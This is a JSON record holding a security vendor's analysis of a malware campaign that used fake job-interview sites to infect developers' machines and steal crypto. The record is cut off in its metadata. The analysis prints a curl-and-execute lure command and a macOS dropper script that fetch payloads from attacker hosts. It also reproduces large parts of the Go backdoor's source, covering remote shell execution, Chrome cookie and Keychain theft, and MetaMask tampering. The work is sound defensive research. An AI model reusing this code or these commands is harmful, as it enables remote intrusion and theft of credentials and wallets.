{
	"id": "ff0538c7-f28c-4e5a-aa13-d62e34bd318d",
	"created_at": "2026-04-06T00:06:39.256667Z",
	"updated_at": "2026-04-10T03:36:48.292634Z",
	"deleted_at": null,
	"sha1_hash": "6aeada561ca510c6ce740b526b27c34bb4ca6d7c",
	"title": "Cybercrooks Are Using Fake Job Listings to Steal Crypto",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 7875394,
	"plain_text": "Cybercrooks Are Using Fake Job Listings to Steal Crypto\r\nBy Moonlock (by MacPaw)\r\nPublished: 2025-02-13 · Archived: 2026-04-05 21:19:53 UTC\r\nWritten by MacPaw’s Moonlock Lab Team\r\nAn ongoing cyber campaign is targeting job seekers with fake interview websites, tricking them into downloading\r\na barebones yet highly effective backdoor. Unlike sophisticated malware that uses obfuscation techniques, this\r\nattack relies on simplicity—delivering source code alongside a Go binary, making it cross-platform. Even more\r\nconcerning is its attempt to hijack the permissions of the cryptocurrency-related Chrome extension MetaMask,\r\npotentially draining victims' wallets.\r\nThe campaign remains active, with new domains regularly appearing to lure more victims. Many individual\r\nsecurity researchers and companies, such as SentinelOne, dmpdump, and ENKI WhiteHat, have published\r\nexcellent analyses. Our team conducted independent research, and in this article, we share our findings and\r\nhunting strategies.\r\nThe Moonlock Lab team began tracking this exact malware on October 9, 2024, when the first components of the\r\nbackdoor started to appear. A backdoor is a type of malicious software that hides on a system and allows threat\r\nactors to execute commands remotely, as if they were the legitimate owners of the workstation. These attacks\r\ntypically utilize so-called C2 (Command and Control) servers to send and execute commands.\r\nWhat sets this attack apart from others we typically observe is that it consists of multiple stages and is designed to\r\npersist on a victim’s machine rather than employing a single-shot data-stealing flow. A complete overview of the\r\nattack stages can be seen in the image below.\r\nhttps://hackernoon.com/cybercrooks-are-using-fake-job-listings-to-steal-crypto\r\nPage 1 of 26\n\nThe first well-structured thread on X that we noticed was posted by @tayvano_, who shared information about a\r\nprobable malicious campaign primarily targeting software developers seeking jobs at blockchain companies.\r\n‘ Usually starts with a \"recruiter\" from known company e.g. Kraken, MEXC, Gemini, Meta. Pay ranges\r\n+ messaging style are attractive—even to those not actively job hunting. Mostly via Linkedin. Also\r\nfreelancer sites, job sites, tg, discord, etc.\r\nTo obtain the latest version of this malware, it was essential to monitor new domains hosting fake interview sites.\r\nFor this purpose, our team relied on two unchanging indicators that these domains share:\r\nSimilar URL pattern “/video-questions/create/” followed by a hardcoded ID:\r\nhttps://hackernoon.com/cybercrooks-are-using-fake-job-listings-to-steal-crypto\r\nPage 2 of 26\n\nSource: urlscan.io\r\nThe same image (logo.png) on the pages:\r\nSource: urlscan.io\r\nhttps://hackernoon.com/cybercrooks-are-using-fake-job-listings-to-steal-crypto\r\nPage 3 of 26\n\nEven though some of the domains used during this campaign are being shut down, the new ones continue to\r\nappear, with the most recent one still online: smarthiretop[.]online. Our team has spotted more than 20 active\r\ndomains since November 2024.\r\nAfter investigating the domains, we discovered that some of them share the same IP address. This often happens\r\nbecause attackers use bulletproof hosting providers, which allow multiple domains to be hosted on the same\r\nserver. Additionally, hosting multiple domains on a single IP enables threat actors to rotate domains without\r\nchanging the backend infrastructure.\r\nhttps://hackernoon.com/cybercrooks-are-using-fake-job-listings-to-steal-crypto\r\nPage 4 of 26\n\nThis malicious infrastructure is hosted on various services distributed worldwide. As shown in the map below,\r\nmost servers are located in the U.S., with some spread across other countries.\r\nThe malicious command that the interviewees were asked to execute hides in the window that appears when they\r\nvisit a malicious website. It is a JS code, bundled into main.39e5a388.js file in this case. Such filenames are\r\nhttps://hackernoon.com/cybercrooks-are-using-fake-job-listings-to-steal-crypto\r\nPage 5 of 26\n\ntypically generated using a hashing or fingerprinting mechanism during the build process of a web application\r\n(Reference: https://urlscan.io/result/0ad23f64-4d61-49c8-8ed8-0d33a07419f4).\r\nOne of the pages has this embedded JS file with the following SHA256 hash:\r\nf729af8473bf98f848ef2dde967d8d301fb71888ee3639142763ebb16914c803\r\nWe could easily spot that inside of a built JS file are the same commands that victims were asked to enter:\r\nAfter understanding how the threat actor spreads the malware, our primary goal was to quickly find samples and\r\ndevelop signatures for our users. The first direct mention of \"production-ready\" samples and their SHA-256\r\nhashes that we found was in this thread:\r\nhttps://x.com/dimitribest/status/1873343968894689472.\r\nIt included five hashes, namely for:\r\n96e78074218a0f272f7f94805cabde1ef8d64ffb *file.zip;\r\n86dea05a8f40cf3195e3a6056f2e968c861ed8f1 *nodejs.zip;\r\n321972e4e72c5364ec1d5b9e488d15c641fb1819 *nvidia-real.zip;\r\nhttps://hackernoon.com/cybercrooks-are-using-fake-job-listings-to-steal-crypto\r\nPage 6 of 26\n\n3405469811bae511e62cb0a4062aadb523cad263 *VCam_arm64.zip;\r\nc0baa450c5f3b6aacde2807642222f6d22d5b4bb *VCam_intel.zip.\r\nIn addition to this, our team started to fetch malicious scripts as if we were tricked into downloading them, similar\r\nto the victims. At one point, the following command was used on fake interview websites:\r\nCommand from the screenshot (do not execute!):\r\nsudo sh -c 'curl -k -o /var/tmp/ffmpeg.sh https://api.nvidia-release.org/ffmpeg-ar.sh \u0026\u0026 chmod +x /var/tmp/ffmp\r\nIt performs the actions listed below:\r\nFetches ffmpeg-ar.sh file from api[.]nvidia-release[.]org;\r\nStores it into /var/tmp/ffmpeg.sh;\r\nExecutes the file and redirects all output to /dev/null to hide it from a user.\r\nInside of the ffmpeg.sh file saved into a temporary folder, we can find the entry point for this attack, which\r\nincludes:\r\nDownloading second-stage ZIP files with payload;\r\nPlacing PLIST file and registering service for persistence;\r\nPerforming a cleanup.\r\nAs we may see from the script below, it is specifically designed for macOS, both Intel and ARM variations. After\r\nit defines the current CPU model, it downloads a ZIP archive with multiple files. More detailed review of this\r\nscript can be found at this blog, as mentioned by SentinelOne in their recent report.\r\nhttps://hackernoon.com/cybercrooks-are-using-fake-job-listings-to-steal-crypto\r\nPage 7 of 26\n\n#!/bin/bash\r\n# Define variables for URLs\r\nZIP_URL_ARM64=\"https://api.nvidia-cloud.online/VCam1.update\"\r\nZIP_URL_INTEL=\"https://api.nvidia-cloud.online/VCam2.update\"\r\nZIP_FILE=\"/var/tmp/VCam.zip\" # Path to save the downloaded ZIP file\r\nWORK_DIR=\"/var/tmp/VCam\" # Temporary directory for extracted files\r\nEXECUTABLE=\"vcamservice.sh\" # Replace with the name of the executable file inside the ZI\r\nAPP=\"ChromeUpdateAlert.app\" # Replace with the name of the app to open\r\nPLIST_FILE=~/Library/LaunchAgents/com.vcam.plist # Path to the plist file\r\n# Determine CPU architecture\r\ncase $(uname -m) in\r\n arm64) ZIP_URL=$ZIP_URL_ARM64 ;;\r\n x86_64) ZIP_URL=$ZIP_URL_INTEL ;;\r\n *) exit 1 ;; # Exit for unsupported architectures\r\nesac\r\n# Create working directory\r\nmkdir -p \"$WORK_DIR\"\r\n# Function to clean up\r\ncleanup() {\r\n rm -rf \"$ZIP_FILE\"\r\n}\r\n# Download, unzip, and execute\r\nif curl -s -o \"$ZIP_FILE\" \"$ZIP_URL\" \u0026\u0026 [[ -f \"$ZIP_FILE\" ]]; then\r\n unzip -o -qq \"$ZIP_FILE\" -d \"$WORK_DIR\"\r\n if [[ -f \"$WORK_DIR/$EXECUTABLE\" ]]; then\r\n chmod +x \"$WORK_DIR/$EXECUTABLE\"\r\n else\r\n cleanup\r\n exit 1\r\n fi\r\nelse\r\n cleanup\r\n exit 1\r\nfi\r\n# Step 4: Register the service\r\nmkdir -p ~/Library/LaunchAgents\r\ncat \u003e \"$PLIST_FILE\" \u003c\u003cEOL\r\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\r\n\u003c!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\"\u003e\r\nhttps://hackernoon.com/cybercrooks-are-using-fake-job-listings-to-steal-crypto\r\nPage 8 of 26\n\nLabelcom.vcamProgramArguments$WORK_DIR/$EXECUTABLERunAtLoadKeepAlive EOL\nchmod 644 \"$PLIST_FILE\"\nif ! launchctl list | grep -q \"com.vcam\"; then\n launchctl load \"$PLIST_FILE\"\nfi\n# Step 5: Run ChromeUpdateAlert.app\nif [[ -d \"$WORK_DIR/$APP\" ]]; then\n open \"$WORK_DIR/$APP\" \u0026\nfi\n# Final cleanup\ncleanup\nReference: VirusTotal\nContents of the archive (version for Intel CPU) that the script fetches are listed below:\nhttps://hackernoon.com/cybercrooks-are-using-fake-job-listings-to-steal-crypto\nPage 9 of 26\n\nAll the files in the archive can be categorized into a few groups:\r\nParts of Go source code and its binaries (https://github.com/golang/go)\r\nChromeUpdateAlert.app – An AppBundle containing a Mach-O binary that collects the user's IP and\r\npassword\r\nA Go-written backdoor and a stealer\r\nvcamservice.sh – A script that launches the main Go-based executable file\r\nInterestingly, the archive is approximately 75 MB in size, primarily because it includes many parts of legitimate\r\nGo libraries and binaries.\r\nAnalysis of the Mach-O Password Stealer\r\nOne of the files we observed being used for a long period of time in this attack is a Mach-O universal binary with\r\n2 architectures, named CameraAccess (SHA256:\r\n3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd5677e352c57e992a).\r\nIt masquerades as a Google Chrome icon, making regular users believe the file is legitimate and preventing them\r\nfrom deleting it.\r\nhttps://hackernoon.com/cybercrooks-are-using-fake-job-listings-to-steal-crypto\r\nPage 10 of 26\n\nThe code is written in Swift, and no strong obfuscation techniques were detected, making it relatively easy to\r\nunderstand the execution flow.\r\nIt displays a window that looks like a system notification window, asking the user to grant microphone access,\r\nsupposedly requested from Google Chrome application.\r\nhttps://hackernoon.com/cybercrooks-are-using-fake-job-listings-to-steal-crypto\r\nPage 11 of 26\n\nEven if the user selects \"Remind Me Later,\" a password prompt window still appears.\r\nThe app claims to require microphone access; however, it is sandboxed, and no actual permission request is made\r\nfor the microphone.\r\nhttps://hackernoon.com/cybercrooks-are-using-fake-job-listings-to-steal-crypto\r\nPage 12 of 26\n\nAfter the user enters their password, the malware requests the external IP address of the host it is running on. It\r\nthen sends the password.txt file to a Dropbox folder named after the user's external IP address.\r\nOn the screenshot below the Dropbox API URL can be spotted.\r\nWhile examining the network traffic, we could see attempts to retrieve public IP address of a victim.\r\nAfter the IP address is received, we could see requests to Dropbox in order to upload IP-password pair using\r\nhardcoded credentials.\r\nhttps://hackernoon.com/cybercrooks-are-using-fake-job-listings-to-steal-crypto\r\nPage 13 of 26\n\nOur team reported this incident to Dropbox, along with the credentials used to conduct this abusive campaign.\r\nAnalysis of the Go-written backdoor\r\nIt is important to note that the ZIP file downloaded by the ffmpeg.sh script contains the plaintext source code of\r\nthe backdoor, meaning it was neither precompiled nor obfuscated. It significantly sped up the analysis but also\r\nraised questions about proper attribution. Needless to say, APT groups from the DPRK are typically far more\r\nsophisticated.\r\nAnother unusual strategy is the inclusion of a Go binary (/bin/go) in the archive instead of simply compiling the\r\nfull code. However, since Go is not the default application on many operating systems, the threat actors may have\r\nincluded it for better compatibility. This makes sense given that the malware is cross-platform and targets macOS,\r\nLinux, and Windows at the same time.\r\nA graph illustrating relations and detailed description of each noteworthy sample, can be found here: Gist\r\nEntry point\r\nInside the archive, there is a script called vcamupdate.sh. It runs immediately after unpacking and simply\r\nexecutes /bin/go (which is bundled in the ZIP) while passing the path to the main Golang application (app.go in\r\nthis case).\r\n#!/bin/bash\r\n# Set the working directory to the folder where this script is located\r\ncd \"$(dirname \"$0\")\"\r\necho \"Installing Dependencies...\"\r\nproject_file=\"app.go\"\r\n./bin/go run \"$project_file\"\r\nexit 0\r\nThe entry application (app.go) is responsible for generating a unique UUID for the user's workstation, initializing\r\nthe C2 URL, and starting the main loop. In the code we can see single-line comments, prints of supporting\r\nmessages, and some commented-out code. It also includes URLs probably meant for testing, forgotten to be\r\nremoved by the developers. In spite of the C2 IP address being different in the main campaign, samples from 2024\r\nshared the same functionality and targeted the same data.\r\nhttps://hackernoon.com/cybercrooks-are-using-fake-job-listings-to-steal-crypto\r\nPage 14 of 26\n\nLater the call to core.StartMainLoop(id, url) brings us to the core/ folder with loop.go and work.go files. The\r\nloop.go file is mainly responsible for receiving and execution of commands from C2, calling submodules which\r\ncollect sensitive data, and uploading it to the remote server. It contains many functions, 8 of which we would like\r\nto highlight and explore in more detail.\r\nFunction StartMainLoop\r\nThis function uses the config submodule to initialize available commands and listen for incoming ones. Below\r\nyou can find a table with all the commands along with their corresponding codes. A more detailed analysis of the\r\nbackdoor functionality can be found in this publication.\r\nCommand Name\r\nEncoded\r\nName\r\nDescription\r\nCOMMAND_INFO qwer Get username, host, OS, arch\r\nCOMMAND_UPLOAD asdf Upload and decompress arbitrary archive from C2 to host\r\nCOMMAND_DOWNLOAD zxcv Download stolen data to C2\r\nhttps://hackernoon.com/cybercrooks-are-using-fake-job-listings-to-steal-crypto\r\nPage 15 of 26\n\nCOMMAND_OSSHELL vbcx\r\nInitialize interactive shell between host and C2 (execute\r\narbitrary remote commands)\r\nCOMMAND_AUTO r4ys Automatically collect sensitive data\r\nCOMMAND_WAIT ghdj Wait for X seconds\r\nCOMMAND_EXIT dghh Exit main loop (set alive=false)\r\nBased on the command received from C2, an appropriate function will be called.\r\nfunc StartMainLoop(id string, url string) {\r\nvar (\r\nmsg_type string\r\nmsg_data [][]byte\r\nmsg string\r\ncmd string\r\ncmd_type string\r\ncmd_data [][]byte\r\nalive bool\r\n)\r\n// initialize\r\ncmd_type = config.COMMAND_INFO\r\nalive = true\r\nfor alive {\r\nfunc() {\r\n// recover panic state\r\ndefer func() {\r\nif r := recover(); r != nil {\r\ncmd_type = config.COMMAND_INFO\r\ntime.Sleep(config.DURATION_ERROR_WAIT)\r\n}\r\n}()\r\nswitch cmd_type {\r\ncase config.COMMAND_INFO:\r\nmsg_type, msg_data = processInfo()\r\ncase config.COMMAND_UPLOAD:\r\nhttps://hackernoon.com/cybercrooks-are-using-fake-job-listings-to-steal-crypto\r\nPage 16 of 26\n\nmsg_type, msg_data = processUpload(cmd_data)\r\ncase config.COMMAND_DOWNLOAD:\r\nmsg_type, msg_data = processDownload(cmd_data)\r\ncase config.COMMAND_OSSHELL:\r\nmsg_type, msg_data = processOsShell(cmd_data)\r\ncase config.COMMAND_AUTO:\r\nmsg_type, msg_data = processAuto(cmd_data)\r\ncase config.COMMAND_WAIT:\r\nmsg_type, msg_data = processWait(cmd_data)\r\ncase config.COMMAND_EXIT:\r\nalive = false\r\nmsg_type, msg_data = processExit()\r\ndefault:\r\npanic(\"problem\")\r\n}\r\nmsg = command.MakeMsg(id, msg_type, msg_data)\r\ncmd, _ = transport.HtxpExchange(url, msg)\r\ncmd_type, cmd_data = command.DecodeMsg(cmd)\r\n}()\r\n}\r\n}\r\nFunction processInfo\r\nThis function will collect basic system information such as username, hostname, OS version, and architecture. It is\r\nworth to note that most of the popular infostealers collect way more system information than this malware.\r\nfunc processInfo() (string, [][]byte) {\r\nuser, _ := user.Current()\r\nhost, _ := os.Hostname()\r\nos := runtime.GOOS\r\narch := runtime.GOARCH\r\nprint(\"user: \" + user.Username + \", host: \" + host + \", os: \" + os + \", arch: \" + arch + \"\\n\")\r\ndata := [][]byte{\r\n[]byte(user.Username),\r\n[]byte(host),\r\n[]byte(os),\r\n[]byte(arch),\r\n[]byte(config.DAEMON_VERSION),\r\n}\r\nhttps://hackernoon.com/cybercrooks-are-using-fake-job-listings-to-steal-crypto\r\nPage 17 of 26\n\nreturn config.MSG_INFO, data\r\n}\r\nFunction processUpload\r\nIn this case, upload represents the process of sending an archive file from the C2 to the infected host, followed by\r\nits decompression. It also indicates whether the decompression was successful.\r\nfunc processUpload(data [][]byte) (string, [][]byte) {\r\nvar log string\r\nvar state string\r\npath := string(data[0])\r\nbuf := bytes.NewBuffer(data[1])\r\nerr := util.Decompress(buf, path)\r\nif err == nil {\r\nlog = fmt.Sprintf(\"%s : %d\", path, len(data[1]))\r\nstate = config.LOG_SUCCESS\r\n} else {\r\nlog = fmt.Sprintf(\"%s : %s\", path, err.Error())\r\nstate = config.LOG_FAIL\r\n}\r\nreturn config.MSG_LOG, [][]byte{\r\n[]byte(state),\r\n[]byte(log),\r\n}\r\n}\r\nFunction processDownload\r\nThis function is the reverse of the previous one. It performs compression of a directory with files collected in\r\nadvance into tar.gz archive.\r\nfunc processDownload(data [][]byte) (string, [][]byte) {\r\nvar file_data []byte\r\nvar err error\r\npath := string(data[0])\r\n_, file := filepath.Split(path)\r\nhttps://hackernoon.com/cybercrooks-are-using-fake-job-listings-to-steal-crypto\r\nPage 18 of 26\n\ninfo, _ := os.Stat(path)\r\nif info.IsDir() {\r\nvar buf bytes.Buffer\r\nerr = util.Compress(\u0026buf, []string{path}, false)\r\nfile = fmt.Sprintf(\"%s.tar.gz\", file)\r\nfile_data = buf.Bytes()\r\n} else {\r\nfile_data, err = os.ReadFile(path)\r\n}\r\nif err == nil {\r\nreturn config.MSG_FILE, [][]byte{[]byte(config.LOG_SUCCESS), []byte(file), file_data}\r\n} else {\r\nreturn config.MSG_FILE, [][]byte{[]byte(config.LOG_FAIL), []byte(err.Error())}\r\n}\r\n}\r\nFunction processOsShell\r\nThis is a function which a true backdoor must have. It awaits arbitrary command and attempts to execute it. A\r\ncommand may have command-line arguments, and the output will be logged directly to a C2.\r\nfunc processOsShell(data [][]byte) (string, [][]byte) {\r\nmode := string(data[0]) // mode\r\ntimeout, _ := strconv.ParseInt(string(data[1]), 16, 64)\r\nshell := string(data[2])\r\nargs := make([]string, len(data[3:]))\r\nfor index, elem := range data[3:] {\r\nargs[index] = string(elem)\r\n}\r\nif mode == config.SHELL_MODE_WAITGETOUT { // wait and get result mode\r\nctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeout))\r\ndefer cancel()\r\ncmd := exec.CommandContext(ctx, shell, args...)\r\nout, err := cmd.Output()\r\nif err != nil {\r\nreturn config.MSG_LOG, [][]byte{\r\n[]byte(config.LOG_FAIL),\r\nhttps://hackernoon.com/cybercrooks-are-using-fake-job-listings-to-steal-crypto\r\nPage 19 of 26\n\n[]byte(err.Error()),\r\n}\r\n} else {\r\nreturn config.MSG_LOG, [][]byte{\r\n[]byte(config.LOG_SUCCESS),\r\nout,\r\n}\r\n}\r\n} else { // start and detach mode\r\nc := exec.Command(shell, args...)\r\nerr := c.Start()\r\nif err != nil {\r\nreturn config.MSG_LOG, [][]byte{\r\n[]byte(config.LOG_FAIL),\r\n[]byte(err.Error()),\r\n}\r\n} else {\r\nreturn config.MSG_LOG, [][]byte{\r\n[]byte(config.LOG_SUCCESS),\r\n[]byte(fmt.Sprintf(\"%s %s\", shell, strings.Join(args, \" \"))),\r\n}\r\n}\r\n}\r\n}\r\nFunction processAuto\r\nThis is the entry point of the stealing flow. This function contains multiple calls to the files located in auto/ folder.\r\nThey include grabbers, processors or modifiers of the following data:\r\nKeychain\r\nChrome login data\r\nChrome cookies\r\nChrome MetaMask extension (keys, permissions, etc.)\r\nChrome profile\r\nfunc processAuto(data [][]byte) (string, [][]byte) {\r\nvar (\r\nmsg_type string\r\nmsg_data [][]byte\r\n)\r\nhttps://hackernoon.com/cybercrooks-are-using-fake-job-listings-to-steal-crypto\r\nPage 20 of 26\n\nmode := string(data[0])\r\nswitch mode {\r\ncase config.AUTO_CHROME_GATHER:\r\nmsg_type, msg_data = auto.AutoModeChromeGather()\r\ncase config.AUTO_CHROME_PREFRST:\r\nmsg_type, msg_data = auto.AutoModeChromeChangeProfile()\r\ncase config.AUTO_CHROME_COOKIE:\r\nmsg_type, msg_data = auto.AutoModeChromeCookie()\r\ncase config.AUTO_CHROME_KEYCHAIN:\r\nmsg_type, msg_data = auto.AutoModeMacChromeLoginData()\r\ndefault:\r\nmsg_type = config.MSG_LOG\r\nmsg_data = [][]byte{[]byte(config.LOG_FAIL), []byte(\"unknown auto mode\")}\r\n}\r\nreturn msg_type, msg_data\r\n}\r\nFunction processWait\r\nUtility function used to send backdoor into sleeping mode, awaiting further commands.\r\nfunc processWait(data [][]byte) (string, [][]byte) {\r\nduration, _ := strconv.ParseInt(string(data[0]), 16, 64)\r\ntime.Sleep(time.Duration(duration))\r\nsend_data := make([]byte, 128)\r\nrand.Read(send_data)\r\nreturn config.MSG_PING, [][]byte{send_data}\r\n}\r\nFunction processExit\r\nThis is a utility function used to quit from the main loop of communication with the C2.\r\nfunc processExit() (string, [][]byte) {\r\nreturn config.MSG_LOG, [][]byte{\r\n[]byte(config.LOG_SUCCESS),\r\n[]byte(\"exited\"),\r\n}\r\n}\r\nhttps://hackernoon.com/cybercrooks-are-using-fake-job-listings-to-steal-crypto\r\nPage 21 of 26\n\nImplementation of Chrome data auto-collection\r\nThe auto/ folder contains a set of Go-apps:\r\nbasic.go\r\nconst (\r\n userdata_dir_win = \"AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\\"\r\n userdata_dir_darwin = \"Library/Application Support/Google/Chrome/\"\r\n userdata_dir_linux = \".config/google-chrome\"\r\n extension_dir = \"nkbihfbeogaeaoehlefnkodbefgpgknn\"\r\n extension_hash_key = \"protection.macs.extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn\"\r\n extension_setting_key = \"extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn\"\r\n secure_preference_file = \"Secure Preferences\"\r\n logins_data_file = \"Login Data\"\r\n keychain_dir_darwin = \"Library/Keychains/login.keychain-db\"\r\n)\r\nHere we can see defined constants with target data to capture, it becomes obvious that the main\r\nfocus is on MetaMask extension.\r\nchrome_change_pref.go\r\n// get json string\r\nfunc getExtJsonString() string {\r\n return `{\"active_permissions\":{\"api\":\r\n[\"activeTab\",\"clipboardWrite\",\"notifications\",\"storage\",\"unlimitedStorage\",\"webRequest\"],\r\n\"explicit_host\":[\"*://*.eth/*\",\"http://localhost:8545/*\",\"https://*.codefi.network/*\",\"https://*\r\n\"manifest_permissions\":[],\r\n\"scriptable_host\":[\"*://connect.trezor.io/*/popup.html\",\"file:///*\",\"http://*/*\",\"https://*/*\"]}\r\n\"commands\":{\"_execute_browser_action\":{\"suggested_key\":\"Alt+Shift+M\",\"was_assigned\":true}},\"cont\r\n\"creation_flags\":38,\"events\":[],\"first_install_time\":\"13361518520188298\",\"from_webstore\":false,\r\n\"granted_permissions\":{\"api\":[\"activeTab\",\"clipboardWrite\",\"notifications\",\"storage\",\"unlimitedS\r\n\"explicit_host\":[\"*://*.eth/*\",\"http://localhost:8545/*\",\"https://*.codefi.network/*\",\"https://*\r\n\"manifest_permissions\":[],\"scriptable_host\":[\"*://connect.trezor.io/*/popup.html\",\"file:///*\",\"h\r\n\"incognito_preferences\":{},\"last_update_time\":\"13361518520188298\",\"location\":4,\"newAllowFileAcce\r\n\"regular_only_preferences\":{},\"state\":1,\"was_installed_by_default\":false,\"was_installed_by_oem\":\r\n}\r\n// chrome kill\r\n if runtime.GOOS == \"windows\" {\r\n cmd := exec.Command(\"cmd\", \"/c\", \"taskkill /f /im chrome.exe\")\r\n cmd.Run()\r\n } else {\r\n cmd := exec.Command(\"/bin/sh\", \"-c\", \"killall chrome\")\r\nhttps://hackernoon.com/cybercrooks-are-using-fake-job-listings-to-steal-crypto\r\nPage 22 of 26\n\ncmd.Run()\r\n }\r\nIt kills all currently active Chrome processes, and changes certain permissions for the MetaMask\r\nextension.\r\nThe JSON configuration suggests a potentially malicious behavior of the extension due to its\r\nextensive permissions and manual installation method.\r\nThe \"webRequest\" permission allows the extension to intercept and modify network requests,\r\nenabling data theft or phishing attacks. The \"clipboardWrite\" permission can be used to capture\r\nand modify clipboard data, potentially stealing cryptocurrency addresses or passwords.\r\nThe \"scriptable_host\" section, which includes \"file:///*\", \"https://*/*\", and \"http://*/*\", enables\r\nscript execution on all websites and access to local files, allowing credential theft or unauthorized\r\ndata exfiltration.\r\nThe \"explicit_host\" section grants access to cryptocurrency-related domains, such as\r\nhttps://*.infura.io/* and https://*.cx.metamask.io/*, which could be exploited to manipulate\r\ntransactions.\r\nThe \"from_webstore\": false field indicates that the extension was installed manually or through\r\nunauthorized means, suggesting possible tampering. The \"commands\" field assigns a keyboard\r\nshortcut to activate the extension, potentially triggering hidden malicious behavior.\r\nThese combined factors indicate the extension could be used for unauthorized access, data theft, or\r\nfinancial fraud.\r\nchrome_cookie_darwin.go\r\nvar (\r\n SALT = \"saltysalt\"\r\n ITERATIONS = 1003\r\n KEYLENGTH = 16\r\n)\r\nfunc getDerivedKey() ([]byte, error) {\r\n out, err := exec.Command(\r\n `/usr/bin/security`, `find-generic-password`,\r\n `-s`, `Chrome Safe Storage`,\r\n `-wa`, `Chrome`,\r\n ).Output()\r\n if err != nil {\r\n return nil, err\r\n }\r\n temp := []byte(strings.TrimSpace(string(out)))\r\n chromeSecret := temp[:len(temp)-1]\r\nhttps://hackernoon.com/cybercrooks-are-using-fake-job-listings-to-steal-crypto\r\nPage 23 of 26\n\nif chromeSecret == nil {\r\n return nil, errors.New(\"Can not get keychain\")\r\n }\r\n var chromeSalt = []byte(\"saltysalt\")\r\n // @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157\r\n key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New)\r\n return key, nil\r\n}\r\nUsed to retrieve password related to Google Chrome from local storage.\r\nGathers Keychain data with further storage into gatherchain.tar.gz.\r\nchrome_cookie_other.go\r\nThe same but for Linux.\r\nchrome_cookie_win.go\r\nThe same but for Windows.\r\nchrome_gather.go\r\nfunc AutoModeChromeGather() (string, [][]byte) {\r\n print(\"=========== AutoModeChromeGather ===========\", runtime.GOOS, \"\\n\")\r\n \r\n var (\r\n buf bytes.Buffer\r\n userdata_dir string\r\n path_list []string\r\n )\r\n // gather\r\n userdata_dir = getUserdataDir()\r\n // file system search\r\n _ = filepath.Walk(userdata_dir, func(path string, info os.FileInfo, err error) error {\r\n if info.Name() == extension_dir \u0026\u0026 strings.Contains(path, \"Local Extension Settings\") {\r\n path_list = append(path_list, path)\r\n }\r\n return nil\r\n })\r\n _ = util.Compress(\u0026buf, path_list, true)\r\n print(\"=========== End ===========\\n\")\r\n // return\r\nhttps://hackernoon.com/cybercrooks-are-using-fake-job-listings-to-steal-crypto\r\nPage 24 of 26\n\ndata := make([][]byte, 3)\r\n data[0] = []byte(config.LOG_SUCCESS)\r\n data[1] = []byte(\"gather.tar.gz\")\r\n data[2] = buf.Bytes()\r\n msg_type := config.MSG_FILE\r\n return msg_type, data\r\nCollects local extension settings (if they exist on the system) and pack it into gather.tag.gz\r\nConclusions\r\nTo conclude our analysis, we must highlight the most important points:\r\nAfter successful password theft, the victim's workstation can be remotely accessed via C2 to steal even\r\nmore data, including personal files that are stored on the system. It makes this malware way more\r\ndangerous than regular stealers that usually run on the system once, collecting only the files that are in their\r\nlist.\r\nBackdoor code is written according to programming best practices, comments are left as is, which leaves\r\nan open question as to why the code was not compiled beforehand.\r\nOnly one cryptocurrency-related extension is being targeted, probably counting on gaining remote access\r\nto manually search for other popular crypto tools and sensitive data on the system.\r\nThe campaign is still ongoing, indicating that the threat actors' strategy remains effective and does not\r\nrequire immediate changes. However, we believe that similar campaigns may soon emerge with updated\r\ninfrastructure.\r\nIOC\r\nDomains\r\napp.blockchain-checkup[.]com\r\napp.hiring-interview[.]com\r\napp.quickvidintro[.]com\r\napp.skill-share[.]org\r\napp.vidintroexam[.]com\r\napp.willo-interview[.]us\r\napp.willohiringtalent[.]org\r\napp.willorecruit[.]com\r\napp.willotalent[.]pro\r\napp.willotalentes[.]com\r\napp.willotalents[.]org\r\nblockchain-assess[.]com\r\ndigitpotalent[.]com\r\ndigitptalent[.]com\r\nfundcandidates[.]com\r\nhttps://hackernoon.com/cybercrooks-are-using-fake-job-listings-to-steal-crypto\r\nPage 25 of 26\n\nhiringinterview[.]org\r\nhiringtalent[.]pro\r\ninterviewnest[.]org\r\nsmarthiretop[.]online\r\ntalentcompetency[.]com\r\ntopinnomastertech[.]com\r\nweb.videoscreening[.]org\r\nwilloassess[.]com\r\nwilloassess[.]net\r\nwilloassess[.]org\r\nwilloassessment[.]com\r\nwillocandidate[.]com\r\nwillointerview[.]com\r\nwillomexcvip[.]us\r\nwinterviews[.]net\r\nwinyourrole[.]com\r\nwtalents[.]in\r\nwtalents[.]us\r\nwholecryptoloom[.]com\r\nSHA256\r\nb72653bf747b962c67a5999afbc1d9156e1758e4ad959412ed7385abaedb21b6\r\n60ec2dbe8cfacdff1d4eb093032b0307e52cc68feb1f67487d9f401017c3edd7\r\n5df555b868c08eed8fea2c5f1bc82c5972f2dd69159b2fdb6a8b40ab6d7a1830\r\n3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd5677e352c57e992a\r\n3210d821e12600eac1b9887860f4e63923f624643bc3c50b3600352166e66bfe\r\nb2a4a981ba7cc2add74737957efdfcbd123922653e3bb109aa7e88d70796a340\r\n3697852e593cec371245f6a7aaa388176e514b3e63813fdb136a0301969291ea\r\n0a49f0a8d0b1e856b7d109229dfee79212c10881dcc4011b98fe69fc28100182\r\nC2\r\nhxxp://216.74.123.191:8080\r\nhxxp://95.169.180.146:8080\r\nSource: https://hackernoon.com/cybercrooks-are-using-fake-job-listings-to-steal-crypto\r\nhttps://hackernoon.com/cybercrooks-are-using-fake-job-listings-to-steal-crypto\r\nPage 26 of 26",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://hackernoon.com/cybercrooks-are-using-fake-job-listings-to-steal-crypto"
	],
	"report_names": [
		"cybercrooks-are-using-fake-job-listings-to-steal-crypto"
	],
	"threat_actors": [
		{
			"id": "9f101d9c-05ea-48b9-b6f1-168cd6d06d12",
			"created_at": "2023-01-06T13:46:39.396409Z",
